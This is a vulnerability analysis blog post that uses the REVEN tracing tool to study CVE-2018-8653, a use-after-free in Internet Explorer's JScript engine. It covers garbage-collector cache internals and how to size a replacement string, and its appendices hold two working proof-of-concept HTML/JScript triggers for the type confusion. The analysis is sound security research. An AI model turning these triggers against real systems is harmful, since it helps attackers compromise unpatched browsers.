Analyzing CVE-2018-8653 with REVEN: Use-after-Free in Internet Explorer Scripting Engine

In this post we will have a look at the proof of concept for CVE-2018-8653 that comes from a very interesting blog post from Philippe Laulheret et al. at MacAfee Labs. To summarize, the vulnerability exploits various seemingly innocent behaviors in Internet Explorer’s scripting engine (jscript.dll) to trigger a use-after-free condition. More specifically, under certain conditions, we have access to a this pointer in a callback that is not tracked by the garbage collector, and we can delete the associated object, leaving this dangling. When the garbage collector is in a certain state, we can then replace the object pointed by this by a different one, allowing for type confusions. To get a better understanding of the vulnerability, we recommend reading the McAfee blog post that explains the root cause of the vulnerability in details.

In today’s article, we will use the vulnerability as background to observe the memory management mechanisms in Internet Explorer’s javascript engine, and how it leads to the object being replaced in the context of the vulnerability. To do so, we will use our analysis tool, REVEN, that allows recording live VMs, and then produce execution traces containing all the instructions, CPU state, memory state, of the recorded VM, that we can query both from a GUI and from a Python API.

To perform the analysis of the CVE, we started by using the Page Heap WinDbg tool on a PoC of the vulnerability that led to a crash, in order to get a first look at the problem. Then, we recorded the PoC described in the McAfee article, that displays an “alert” windows containing the “1337” number as a string, replacing an empty Regex object, which demonstrates the type confusion. We recorded about 10 seconds of the live VM in REVEN, for a total of more than 3.6 billions recorded instructions.

Preliminary analysis

Page Heap yielded the following result:

(1ae8.ea0): Access violation - code c0000005 (!!! second chance !!!) jscript!ConvertToObject+0x29: 00007ff8`dab99931 0fb70a movzx ecx,word ptr [rdx] ds:000001c2`8cb019e8=???? 0:012> r rax=0000000000000080 rbx=0000004e66dfa7b0 rcx=000001caf4677b10 rdx=000001c28cb019e8 rsi=0000000000000002 rdi=0000004e66dfa2c0 rip=00007ff8dab99931 rsp=0000004e66dfa9d0 rbp=000001caf4677b10 r8=000001caf57cbed8 r9=0000000000000000 r10=0000000000000084 r11=0000000000000081 r12=0000000000000000 r13=0000000000000001 r14=00000000ffffffff r15=000001caf57cbec0 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010244 jscript!ConvertToObject+0x29: 00007ff8`dab99931 0fb70a movzx ecx,word ptr [rdx] ds:000001c2`8cb019e8=???? 0:012> !heap -p -a rdx address 000001c28cb019e8 found in _DPH_HEAP_ROOT @ 1c2cb7f1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 1c287096888: 1c28cb01000 2000 00007ff8ec0f3e38 ntdll!RtlDebugFreeHeap+0x000000000000003c 00007ff8ec0a5344 ntdll!RtlpFreeHeap+0x00000000000876a4 00007ff8ec016a79 ntdll!RtlFreeHeap+0x0000000000000409 00007ff8e986984c msvcrt!free+0x000000000000001c 00007ff8dabb86b9 jscript!GcBlock::`scalar deleting destructor'+0x0000000000000015 00007ff8daba3b55 jscript!DexCaller::Release+0x00000000000016e5 00007ff8daba36c8 jscript!DexCaller::Release+0x0000000000001258 00007ff8dab73045 jscript!GcContext::Reclaim+0x00000000000000ad 00007ff8dab732b7 jscript!GcContext::CollectCore+0x0000000000000137 00007ff8dab72db9 jscript!GcContext::Collect+0x0000000000000025 00007ff8dabb9653 jscript!JsCollectGarbage+0x0000000000000023 00007ff8dab73d2b jscript!NatFncObj::Call+0x000000000000011b 00007ff8dab7c140 jscript!NameTbl::InvokeInternal+0x0000000000000290 00007ff8dab81a2b jscript!CScriptRuntime::Run+0x0000000000001cdb 00007ff8dab7bc3d jscript!ScrFncObj::CallWithFrameOnStack+0x000000000000015d 00007ff8dab7bd98 jscript!ScrFncObj::Call+0x00000000000000b8 00007ff8dab7bfe5 jscript!NameTbl::InvokeInternal+0x0000000000000135 00007ff8dab7e506 jscript!VAR::InvokeByName+0x00000000000005b6 00007ff8dabc68b4 jscript!CScriptRuntime::InstOf+0x0000000000000160 00007ff8dab86cab jscript!CScriptRuntime::Run+0x0000000000006f5b 00007ff8dab7bc3d jscript!ScrFncObj::CallWithFrameOnStack+0x000000000000015d 00007ff8dab7bd98 jscript!ScrFncObj::Call+0x00000000000000b8 00007ff8dab7a895 jscript!CSession::Execute+0x0000000000000265 00007ff8dab76eb1 jscript!COleScript::ExecutePendingScripts+0x00000000000002a1 00007ff8dab77732 jscript!COleScript::ParseScriptTextCore+0x0000000000000362 00007ff8dab77816 jscript!COleScript::ParseScriptText+0x0000000000000056 00007ff8b8519f58 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000000000000b8 00007ff8b85f1e67 MSHTML!CScriptCollection::ParseScriptText+0x000000000000026b 00007ff8b85f1462 MSHTML!CScriptData::CommitCode+0x000000000000039e 00007ff8b85f016f MSHTML!CScriptData::Execute+0x0000000000000267 00007ff8b85ef95f MSHTML!CHtmScriptParseCtx::Execute+0x00000000000000bf 00007ff8b85dc9c1 MSHTML!CHtmParseBase::Execute+0x0000000000000181

Notice the calls to jscript!GcBlock::`scalar deleting destructor` that are followed by RtlFreeHeap: these confirm that we are facing a Use-After-Free, as described in the McAfee article.

Now that we got a first hint about what happened, we can have a look with REVEN at where the crash occurred with PageHeap enabled, at jscript!ConvertToObject+0x29, and analyze what happened to the pointed to area of memory:





Clearly we’re facing an array of VARs as defined in the PoC through the string creation:

[VarType] [Value] [Unused] [0000000000000003] [0000000000000539] [00000000000000000]

You can find an explanation about how the VAR objects work in the following blog post from Google Project Zero (Search for the “Understanding JScript VARs and Strings” headline).

Here is the part of the PoC responsible for creating this string object:

while ( reallocPropertyName . length != 0x230 ) { reallocPropertyName += makeVariant ( 0x0003 , 1337 , 0x00000000 ); }

The displayed value 0x539 is hexadecimal for 1337 which indicates that we’re facing the replaced object. As described in the McAfee article, the string created in the javascript code mimics int objects and one of these int s is displayed by the alert function.

We will analyze the different steps that lead to the replacement of the object and analyze what the object is, as it will help understand the whole process.

As we will see, the object that will be replaced is stored in the Garbage Collector cache itself.

The Garbage Collector cache (that appears to be named GcBlock) is a small cache, which holds and distributes VAR objects when GcBlock::PvarAlloc is called. To our knowledge, this cache isn’t documented, yet it is quite important for this vulnerability as it helps understanding the memory layout and what is needed to manipulate and replace it.

Allocation/Free of the object

With the Memory History feature from REVEN, we can navigate through each and every read and write that occurred on the memory area representing the object inside the GcBlock . In combination with the backtrace, we can actually go back until we reach the allocation of the object, performed by GcAlloc::PvarAlloc, and get a good hint of what happened.







Here are some of the functions that are called:

GcAlloc::PvarAlloc

GcBlockFactory::PblkAlloc

GcAlloc::SetMark

GcAlloc::ReclaimGarbage

GcContext::CollectCore

NameTbl::ScavengeCore

The call to GcAlloc::PvarAlloc is actually the allocation of the original object, the one which this still holds a reference to (a RegExp, from the javascript code available in appendix 1). Notice the class of some of these functions: GcAlloc. The object is allocated from the GcBlock (Garbage Collector cache).

Even before this RegExp allocation, we can see the allocation of the cache block itself, by the function GcBlockFactory::PblkAlloc. This fact allows us to quickly find its size when it calls the “new” function: 0x970. We will see later that this piece of information is important.

If we recall the result of the PageHeap in WinDbg, we can assume that this cache is actually the one being replaced.

GcBlock Allocation/Free, tracking with Python API

In this section we will analyze a bit how allocations and deallocations are handled by the Garbage Collector cache, and show how we can track all of them with REVEN. As a matter of fact, being able to track these allocations is convenient for exploitation as we are not facing the common allocation from ntdll functions. Hence, the replacement of the full object entirely depends on the behaviour of this cache.

The Variable Type of a JScript VAR object is a short identifier that describes, -as one can guess-, the type of the object. For example, 3 for integer, 5 for double, 8 for string etc. The first thing to see is how the VariableType of an object is modified when the Garbage Collector is triggered or when an allocation is requested. With the Memory History, we can see that the Variable Type also defines the state of the object. As such, if this Variable Type is 0 then the object is considered freed. The garbage collector can also mark the Variable Type with the mask 0x800. This mechanism is used as part of its algorithm of garbage collection. The global idea of this cache is that when all of the objects in the GcBlock are free, then the whole block is freed.

We developed a REVEN API script that tracks the state of the GcBlock during the scenario. You can now try a Jupyter notebook version of this script online by clicking here. The notebook is also available on github.

Here is the output when applied to the Proof-Of-Concept scenario:







When all of the objects are freed (VariableType equals to 0), the GcBlock itself is freed and ready to be allocated again by the PoC.

Now we will analyze the re-allocation of this block with the forged string.

Replacement object creation

Usually when dealing with Use-After-Free, one important part is determining how to reallocate the area that has been freed so we can control what is pointed by the dangling pointer. In this case, we need to allocate a new area in such a way that the allocator returns the same chunk. The requested area size plays a crucial part in the allocator’s decision of which block to reuse, so our new object must have (almost) the same size as the one that has been freed

In the previous part we showed that the GcBlock is 0x970 bytes. In this part we will simply explain why the size of the string in the proof of concept is 0x230 and how we could have found this size ourselves.

We saw previously what function is responsible for building this new string object: it is NameList::FCreateVval:







With a quick analysis in our favorite disassembler, we can see that this function calls NoRelAlloc::PvAlloc. It seems like a good candidate to determine the size of the allocated area. NoRelAlloc::PvAlloc takes an int as only parameter computed with the following instruction:

0x7ff8f6e92986 lea edx , [ rax * 2 + 0x42 ]

From REVEN, we see that rax value is 0x230, which is exactly the size of the string provided in the javascript PoC:

while ( reallocPropertyName . length != 0x230 ) { reallocPropertyName += makeVariant ( 0x0003 , 1337 , 0x00000000 ); }

If we continue the execution analysis, with REVEN or statically, we see that the size is manipulated a bit more:

; Multiply by two 0x7ff8f6e926a7 lea esi , [ rax + rax ] ; [...] ; Add 8 0x7ff8f6e926b9 lea eax , [ rsi + 8 ]

It is multiplied by 2 and 8 is added afterwards, probably for some header space.

Next a new memory area of this size (0x94c) is requested to ntdll. The returned pointer from this allocation is exactly the same pointer as the previously freed GcBlock. The fact that 0x94c is close to 0x970 induced the allocator to serve the same block size.

We can now say that the size of the memory area for the string is computed this way:

mem_size = (string_size*2 + 0x42)*2 + 8

Finding the string size is just applying this trivial expression:

string_size = (mem_size - 140) / 4

In the case of the GcBlock with mem_size = 0x970, we get string_size = 0x239.

The original exploit author chose 0x230, which is perfectly fine as it will return the same block, and 0x10 bytes aligned. Maybe an interesting point would be to determine precisely the size of the returned block as it is returned in this case by the Low Fragmentation Heap and has a fixed size. This isn’t the object of this post but the answer can be found by analyzing the RtlpAllocateHeapInternal functions.

First conclusion

To sum-up what this proof of concept is doing, we have shown that it comes from a dangling pointer that is still accessible, even though the target is freed. But, where usually the replacement occurs for the object itself, in this case the PoC had to free the whole cache so that the replacement object (a string) is filling the whole cache block itself and not the single object. Here is a (simplified) diagram describing what happened:







Now a question remains, what would have happened if we replaced only the one object in the cache? Is is still a Use-After-Free? We recorded this case to analyze it and the answer is yes, it is still a Use-After-Free, but it doesn’t seem to be exploitable as is.

Replacing the object in the cache

Whilst trying to minimize the original proof of concept, we encountered this case where we simply replaced the original object by another one, and displayed it with alert. We only used an array of 16 initial objects (400 for the original PoC):

for ( var i = 0 ; i < 0x10 ; i ++ ) { var arr = new Array ({ prototype : {}}); var e = new Enumerator ( arr ) eObj = e . item () eObj . prototype = new RegExp () eObj . prototype . isPrototypeOf = f_uaf ; Enum_arr [ i ] = eObj }

And only 32 objects for the overlapping array (0x1000 for the original PoC):

for ( var i = 0 ; i < 0x20 ; i += 1 ) { overlapArray [ i ][ String . fromCharCode ( 0x52 , 0x45 , 0x56 , 0x45 , 0x4e , 0x20 , 0x46 , 0x54 , 0x57 , 0x21 , 0x20 , i + 0x41 )] = 1 ; } alert ( this )

We didn’t need the other object array either.

The result of this light PoC is the alert displaying the object of the overlapArray variable, which is definitely different from the original RegExp. As explained in the original article, the vulnerability is induced by the “this” pointer, which still holds a reference to the original object even though it has been deleted. In this test-case, we just reallocated a new object, of which the VAR object will be allocated in the same memory area as the original object by the Garbage Collector cache. Hence, when calling “alert” on this, the VAR displayed is the one replaced.

Technically, one can also use the dangling pointer without replacing the freed object, but actually, in case of an invalid object, Javascript just displays the biggest default object which is the Object Window.

We recorded the replacement behavior as it is interesting to see what is happening exactly. Using once again the script we developed earlier, we can see the state of the GcBlock, which is never freed at any moment:





As one can see, allocations and deallocations are pretty messy compared to the first trace. This is due to the fact that, contrary to the first trace, we did not set the GcBlock in a clean state by performing the dummy object allocations/deallocations step.

Here is a (simplified) diagram of what happened in this case:







This behavior still qualifies as a use-after-free, but as stated before, there isn’t much we can do about it using the Garbage Collector cache.

Conclusion

The original post describes the vulnerability using mainly static analysis and explained the root cause really well. In today’s article we have shown how REVEN can be used complementarily to static analysis, for example to examine mechanisms such as the Garbage Collector memory layout, that are not trivial to observe statically. We have shown that understanding these mechanisms can be quite important when trying to write a reliable exploit, and how in particular REVEN’s Python API allows us to build models of these mechanisms.

Appendix

Appendix 1: Original PoC

< meta http - equiv = "X-UA-Compatible" content = "IE=8" >< /meta > < html > < script language = "Jscript.Encode" > function makeVariant ( vt , dword1 , dword2 , dword3 , dword4 ) { var charCodes = new Array (); charCodes . push ( vt , 0x00 , 0x00 , 0x00 , dword1 & 0xffff , ( dword1 >> 16 ) & 0xffff , dword2 & 0xffff , ( dword2 >> 16 ) & 0xffff , dword3 & 0xffff , ( dword3 >> 16 ) & 0xffff , dword4 & 0xffff , ( dword4 >> 16 ) & 0xffff ); return String . fromCharCode . apply ( null , charCodes ); } var reallocPropertyName = " \ u0000 \ u0000 \ u0000 \ u0000 \ u0000 \ u0000 \ u0000 \ u0000" ; while ( reallocPropertyName . length != 0x230 ) { reallocPropertyName += makeVariant ( 0x0003 , 1337 , 0x00000000 ); } function f_uaf () { alert ( "in f_uaf" ) for ( var i = 0 ; i < 100 * 100 ; i ++ ) { objects [ i ] = null ; } CollectGarbage (); for ( var i = 0 ; i < 400 ; i += 1 ) { Enum_arr [ i ]. prototype = null ; // the 200th is 'this' } CollectGarbage (); for ( var i = 0 ; i < 0x10000 ; i += 1 ) { overlapArray [ i ][ reallocPropertyName ] = 1 ; } alert ( this ) return true ; } var Enum_arr = new Array () var overlapArray = Array () var objects = Array () for ( var i = 0 ; i < 0x10000 ; i ++ ) { overlapArray [ i ] = new Array (); } for ( var i = 0 ; i < 100 * 100 ; i ++ ) { objects [ i ] = new Object (); } for ( var i = 0 ; i < 400 ; i ++ ) { var arr = new Array ({ prototype : {}}); var e = new Enumerator ( arr ) Enum_arr [ i ] = e . item () } for ( var i = 0 ; i < 400 ; i ++ ) { Enum_arr [ i ]. prototype = new RegExp (); Enum_arr [ i ]. prototype . isPrototypeOf = f_uaf ; } var dummyObject = new Object () dummyObject instanceof Enum_arr [ 200 ] < /script > < /html>

Appendix 2: Light PoC, using the Garbage Collector cache

< meta http - equiv = "X-UA-Compatible" content = "IE=8" >< /meta > < html > < script language = "Jscript.Encode" > function f_uaf () { alert ( "in f_uaf" ) CollectGarbage (); for ( var i = 0 ; i < 0x10 ; i += 1 ) { Enum_arr [ i ]. prototype = null ; } CollectGarbage (); for ( var i = 0 ; i < 0x20 ; i += 1 ) { overlapArray [ i ][ String . fromCharCode ( 0x52 , 0x45 , 0x56 , 0x45 , 0x4e , 0x20 , 0x46 , 0x54 , 0x57 , 0x21 , 0x20 , i + 0x41 )] = 1 ; } alert ( this ) return true ; } var Enum_arr = new Array () var a = new Array ({ prototype : {}}) var e = new Enumerator ( a ) var eObj = e . item () for ( var i = 0 ; i < 0x10 ; i ++ ) { var arr = new Array ({ prototype : {}}); var e = new Enumerator ( arr ) eObj = e . item () eObj . prototype = new RegExp () eObj . prototype . isPrototypeOf = f_uaf ; Enum_arr [ i ] = eObj } var overlapArray = Array () for ( var i = 0 ; i < 0x200 ; i ++ ) { overlapArray [ i ] = new Array (); } var dummyObject = new Object () dummyObject instanceof Enum_arr [ 0x8 ] < /script > < /html>